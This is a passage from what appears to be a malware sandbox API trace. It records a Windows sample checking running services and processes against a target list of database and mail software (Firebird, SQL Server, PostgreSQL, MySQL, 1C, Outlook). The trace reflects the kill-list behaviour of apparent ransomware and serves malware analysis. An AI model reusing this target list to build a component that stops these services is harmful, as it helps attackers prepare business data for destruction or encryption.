lpString2="AudioEndpointBuilder") returned 1 [0057.536] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0057.536] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0057.536] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0057.536] lstrlenW (lpString="AudioSrv") returned 8 [0057.536] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0057.536] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0057.536] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0057.536] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0057.536] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0057.536] lstrlenW (lpString="BFE") returned 3 [0057.536] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0057.536] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0057.536] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0057.536] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0057.536] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0057.536] lstrlenW (lpString="CryptSvc") returned 8 [0057.536] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0057.536] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0057.536] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0057.536] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0057.536] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0057.536] lstrlenW (lpString="CscService") returned 10 [0057.536] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0057.536] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0057.537] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0057.537] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0057.537] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0057.537] lstrlenW (lpString="DcomLaunch") returned 10 [0057.537] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0057.537] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0057.537] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0057.537] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0057.537] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0057.537] lstrlenW (lpString="Dhcp") returned 4 [0057.537] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0057.537] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0057.537] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0057.537] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0057.537] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0057.537] lstrlenW (lpString="Dnscache") returned 8 [0057.537] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0057.537] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0057.537] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0057.537] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0057.537] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0057.537] lstrlenW (lpString="DPS") returned 3 [0057.537] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0057.537] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0057.537] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0057.537] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0057.537] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0057.537] lstrlenW (lpString="eventlog") returned 8 [0057.537] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0057.537] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0057.537] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0057.537] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0057.537] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0057.537] lstrlenW (lpString="EventSystem") returned 11 [0057.538] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0057.538] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0057.538] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0057.538] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0057.538] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0057.538] lstrlenW (lpString="gpsvc") returned 5 [0057.538] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0057.538] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0057.538] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0057.538] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0057.538] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0057.538] lstrlenW (lpString="iphlpsvc") returned 8 [0057.538] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0057.538] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0057.538] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0057.538] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0057.538] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0057.538] lstrlenW (lpString="LanmanServer") returned 12 [0057.538] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0057.538] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0057.538] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0057.538] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0057.538] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0057.538] lstrlenW (lpString="LanmanWorkstation") returned 17 [0057.538] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0057.538] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0057.538] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0057.538] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0057.538] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0057.538] lstrlenW (lpString="lmhosts") returned 7 [0057.538] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0057.538] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0057.538] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0057.539] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0057.539] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0057.539] lstrlenW (lpString="MMCSS") returned 5 [0057.539] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0057.539] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0057.539] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0057.539] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0057.539] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0057.539] lstrlenW (lpString="MpsSvc") returned 6 [0057.539] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0057.539] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0057.539] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0057.539] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0057.539] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0057.539] lstrlenW (lpString="Netman") returned 6 [0057.539] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0057.539] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0057.539] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0057.539] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0057.539] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0057.539] lstrlenW (lpString="netprofm") returned 8 [0057.539] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0057.539] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0057.539] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0057.539] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0057.539] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0057.539] lstrlenW (lpString="NlaSvc") returned 6 [0057.539] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0057.539] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0057.539] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0057.539] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0057.539] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0057.539] lstrlenW (lpString="nsi") returned 3 [0057.539] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0057.540] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0057.540] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0057.540] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0057.540] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0057.540] lstrlenW (lpString="PcaSvc") returned 6 [0057.540] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0057.540] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0057.540] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0057.540] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0057.540] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0057.540] lstrlenW (lpString="PlugPlay") returned 8 [0057.540] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0057.540] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0057.540] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0057.540] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0057.540] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0057.540] lstrlenW (lpString="Power") returned 5 [0057.540] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0057.540] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0057.540] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0057.540] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0057.540] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0057.540] lstrlenW (lpString="ProfSvc") returned 7 [0057.540] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0057.541] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0057.541] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0057.541] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0057.541] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0057.541] lstrlenW (lpString="RpcEptMapper") returned 12 [0057.541] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0057.541] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0057.541] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0057.541] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0057.541] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0057.541] lstrlenW (lpString="RpcSs") returned 5 [0057.541] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0057.541] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0057.541] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0057.541] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0057.541] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0057.541] lstrlenW (lpString="SamSs") returned 5 [0057.541] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0057.541] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0057.541] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0057.541] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0057.541] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0057.541] lstrlenW (lpString="Schedule") returned 8 [0057.541] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0057.541] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0057.541] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0057.541] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0057.541] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0057.541] lstrlenW (lpString="SENS") returned 4 [0057.541] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0057.541] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0057.541] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0057.541] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0057.541] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0057.542] lstrlenW (lpString="ShellHWDetection") returned 16 [0057.542] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0057.542] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0057.542] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0057.542] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0057.542] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0057.542] lstrlenW (lpString="Spooler") returned 7 [0057.542] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0057.542] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0057.542] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0057.542] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0057.542] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0057.542] lstrlenW (lpString="swprv") returned 5 [0057.542] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="swprv") returned -1 [0057.542] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="swprv") returned -1 [0057.542] lstrcmpiW (lpString1="sqlwriter", lpString2="swprv") returned -1 [0057.542] lstrcmpiW (lpString1="mssqlserver", lpString2="swprv") returned -1 [0057.542] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="swprv") returned -1 [0057.542] lstrlenW (lpString="SysMain") returned 7 [0057.542] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0057.542] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0057.542] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0057.542] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0057.542] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0057.542] lstrlenW (lpString="Themes") returned 6 [0057.542] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0057.542] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0057.542] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0057.542] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0057.542] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0057.542] lstrlenW (lpString="TrkWks") returned 6 [0057.542] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0057.542] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0057.543] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0057.543] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0057.543] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0057.543] lstrlenW (lpString="UxSms") returned 5 [0057.543] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0057.543] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0057.543] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0057.543] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0057.543] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0057.543] lstrlenW (lpString="VSS") returned 3 [0057.543] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0057.543] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0057.543] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0057.543] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0057.543] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0057.543] lstrlenW (lpString="WdiServiceHost") returned 14 [0057.543] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0057.543] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0057.543] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0057.543] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0057.543] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0057.543] lstrlenW (lpString="WdiSystemHost") returned 13 [0057.543] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0057.543] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0057.543] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0057.543] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0057.543] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0057.543] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0057.543] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0057.543] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0057.543] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0057.543] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0057.543] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0057.544] lstrlenW (lpString="Winmgmt") returned 7 [0057.544] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0057.544] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0057.544] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0057.544] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0057.544] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0057.544] lstrlenW (lpString="WPDBusEnum") returned 10 [0057.544] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0057.544] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0057.544] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0057.544] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0057.544] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0057.544] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x60eb98 | out: hHeap=0x510000) returned 1 [0057.544] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1a8 [0057.546] Process32FirstW (in: hSnapshot=0x1a8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0057.546] Process32NextW (in: hSnapshot=0x1a8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4f, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0057.546] lstrlenW (lpString="System") returned 6 [0057.546] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0057.546] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0057.546] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0057.546] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0057.546] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0057.546] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0057.546] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0057.547] Process32NextW (in: hSnapshot=0x1a8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0057.547] lstrlenW (lpString="smss.exe") returned 8 [0057.547] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0057.547] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0057.547] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0057.547] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0057.547] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0057.547] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0057.547] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0057.547] Process32NextW (in: hSnapshot=0x1a8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0057.547] lstrlenW (lpString="csrss.exe") returned 9 [0057.548] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0057.548] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0057.548] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0057.548] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0057.548] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0057.548] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0057.548] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0057.548] Process32NextW (in: hSnapshot=0x1a8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0057.548] lstrlenW (lpString="wininit.exe") returned 11 [0057.548] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0057.548] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0057.548] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0057.548] Process32NextW (in: hSnapshot=0x1a8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0057.548] lstrlenW (lpString="csrss.exe") returned 9 [0057.549] Process32NextW (in: hSnapshot=0x1a8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0057.549] lstrlenW (lpString="winlogon.exe") returned 12 [0057.549] Process32NextW (in: hSnapshot=0x1a8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0057.549] lstrlenW (lpString="services.exe") returned 12 [0057.549] Process32NextW (in: hSnapshot=0x1a8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0057.549] lstrlenW (lpString="lsass.exe") returned 9 [0057.549] Process32NextW (in: hSnapshot=0x1a8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0057.550] lstrlenW (lpString="lsm.exe") returned 7 [0057.550] Process32NextW (in: hSnapshot=0x1a8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0057.550] lstrlenW 